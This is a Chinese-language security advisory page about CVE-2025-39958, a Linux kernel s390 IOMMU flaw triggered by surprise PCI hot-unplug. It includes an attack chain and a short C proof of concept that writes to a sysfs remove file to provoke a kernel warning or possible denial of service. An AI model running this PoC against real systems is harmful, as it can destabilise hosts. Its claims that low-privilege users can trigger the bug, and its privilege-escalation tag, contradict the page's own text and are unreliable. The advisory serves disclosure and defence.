IPBUF安全漏洞报告
English
CVE-2025-39958 CVSS 7.8 高危

CVE-2025-39958 Linux内核s390 IOMMU设备附加漏洞

披露日期: 2025-10-09
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-39958
漏洞类型
拒绝服务/内核警告触发
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (s390架构 IOMMU子系统)

相关标签

Linux Kernels390IOMMUPCI热插拔拒绝服务内核警告本地提权WARN_ONDMA

漏洞概述

CVE-2025-39958是Linux内核s390架构IOMMU(输入输出内存管理单元)子系统中的一个高危漏洞。当PCI设备通过热插拔方式被意外移除(surprise hotplug)时,内核仍可能尝试将该设备附加到默认域中,这一操作发生在__iommu_release_dma_ownership()拆卸过程中,或在__iommu_probe_device()探测过程中由于移除发生在探测期间而触发。

在上述两种情况下,zpci_register_ioat()调用会失败并返回一个表示设备句柄无效的条件码(cc值),因为该设备已不再被虚拟机监控器(hypervisor)视为实例的一部分。当前实现中,这种失败会导致s390_iommu_attach_device()返回错误,进而触发__iommu_group_set_domain_nofail()中的WARN_ON()警告,因为附加到默认域的操作绝不应该失败。

该漏洞的CVSS评分为7.8,属于高危级别。虽然设备被hypervisor隔离后无法进行DMA操作,IOMMU翻译也不会产生实际影响,但WARN_ON()的触发可能导致内核日志污染、系统不稳定甚至在某些配置下导致内核panic。攻击者需要本地低权限访问即可触发此漏洞,无需用户交互。

技术细节

该漏洞的技术原理涉及Linux内核s390架构下IOMMU的设备管理机制。具体技术细节如下:

1. **触发路径**:当PCI设备被surprise hotplug移除时,内核中的IOMMU子系统仍会尝试通过s390_iommu_attach_device()将设备附加到默认域。这一调用最终会执行zpci_register_ioat(),该函数通过PCI指令与hypervisor通信以注册IOAT(I/O Address Translation)表。

2. **失败原因**:由于设备已被移除,hypervisor不再识别该设备句柄,因此zpci_register_ioat()返回的条件码指示设备句柄无效。这是hypervisor层面的状态变化导致的,与内核逻辑无关。

3. **错误传播问题**:当前代码在收到错误返回值后直接返回错误,导致s390_iommu_attach_device()失败。由于附加到默认域是一个必须成功的操作(否则设备将无法正常工作),内核通过WARN_ON()来检测这种异常情况。

4. **修复方案**:修复方案是引入一个辅助函数来检查错误是否需要传播或忽略。对于设备处于错误状态或已被移除的情况,错误应该被忽略,因为设备已被hypervisor隔离,DMA操作不可能发生,IOMMU翻译也不会产生实际效果。热插拔事件处理将负责后续的设备清理工作。

5. **利用方式**:本地攻击者可以通过触发PCI设备的surprise hotplug移除事件来利用此漏洞。虽然该漏洞本身不会直接导致权限提升或代码执行,但它可能导致内核警告、系统不稳定,在极端情况下可能触发内核panic造成拒绝服务。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要获得运行在s390架构上的Linux系统的本地低权限访问权限。系统需要使用IOMMU子系统进行DMA管理。
STEP 2
步骤2:识别目标设备
攻击者通过/sys/bus/pci/devices/目录识别系统中存在的PCI设备,获取设备的BDF(Bus:Device.Function)标识符。
STEP 3
步骤3:触发surprise hotplug移除
攻击者通过向/sys/bus/pci/devices/<BDF>/remove写入'1'来触发PCI设备的surprise hotplug移除事件,或者通过物理方式意外移除PCI硬件。
STEP 4
步骤4:触发IOMMU附加尝试
设备被移除后,内核仍会尝试通过__iommu_release_dma_ownership()或__iommu_probe_device()调用s390_iommu_attach_device()将设备附加到默认域。
STEP 5
步骤5:触发zpci_register_ioat()失败
由于设备已被hypervisor移除,zpci_register_ioat()调用返回设备句柄无效的错误条件码。
STEP 6
步骤6:触发WARN_ON()
错误返回导致s390_iommu_attach_device()失败,触发__iommu_group_set_domain_nofail()中的WARN_ON()警告,可能导致内核日志污染、系统不稳定或内核panic。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2025-39958 - Linux Kernel s390 IOMMU Surprise Removal // This PoC demonstrates how to trigger the vulnerability by performing // a surprise hotplug removal of a PCI device on s390 architecture. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <errno.h> // PCI device surprise removal trigger // On s390 systems, this can be triggered via: // 1. echo 1 > /sys/bus/pci/devices/<BDF>/remove (hotplug removal) // 2. Or via physical surprise removal of PCI hardware int trigger_surprise_removal(const char *pci_bdf) { char path[256]; char cmd[] = "1"; int fd; // Construct path to the PCI device remove interface snprintf(path, sizeof(path), "/sys/bus/pci/devices/%s/remove", pci_bdf); fd = open(path, O_WRONLY); if (fd < 0) { fprintf(stderr, "Cannot open %s: %s\n", path, strerror(errno)); return -1; } // Write '1' to trigger surprise removal if (write(fd, cmd, sizeof(cmd)) < 0) { fprintf(stderr, "Failed to trigger removal: %s\n", strerror(errno)); close(fd); return -1; } close(fd); printf("Surprise removal triggered for device %s\n", pci_bdf); return 0; } int main(int argc, char *argv[]) { if (argc != 2) { fprintf(stderr, "Usage: %s <PCI-BDF>\n", argv[0]); fprintf(stderr, "Example: %s 0000:00:00.0\n", argv[0]); return 1; } const char *pci_bdf = argv[1]; printf("CVE-2025-39958 PoC - s390 IOMMU Surprise Removal\n"); printf("Target device: %s\n", pci_bdf); if (trigger_surprise_removal(pci_bdf) < 0) { return 1; } // The kernel will attempt to attach the removed device to default domain, // triggering WARN_ON() in __iommu_group_set_domain_nofail() printf("Check dmesg for WARN_ON output related to IOMMU\n"); return 0; } // Alternative: Trigger via sysfs on s390 // echo 1 > /sys/bus/pci/devices/0000:00:00.0/remove // This causes __iommu_release_dma_ownership() or __iommu_probe_device() // to call s390_iommu_attach_device() with a removed device, // leading to zpci_register_ioat() failure and WARN_ON() trigger.

影响范围

Linux Kernel < 6.17 (s390架构)
Linux Kernel 6.6.x系列受影响
Linux Kernel 6.12.x系列受影响
Linux Kernel 6.15.x系列受影响
具体修复版本请参考git.kernel.org提供的stable分支提交

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以通过以下方式进行临时缓解:1) 限制普通用户对/sys/bus/pci/devices/目录下remove文件的访问权限,仅允许root用户执行PCI设备热插拔操作;2) 在/etc/modprobe.d/中配置禁用IOMMU相关模块的自动加载(如果系统架构支持);3) 监控dmesg日志,及时发现并响应IOMMU相关的WARN_ON警告;4) 在生产环境中使用PCI设备的受控热插拔流程,避免surprise hotplug事件的发生。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表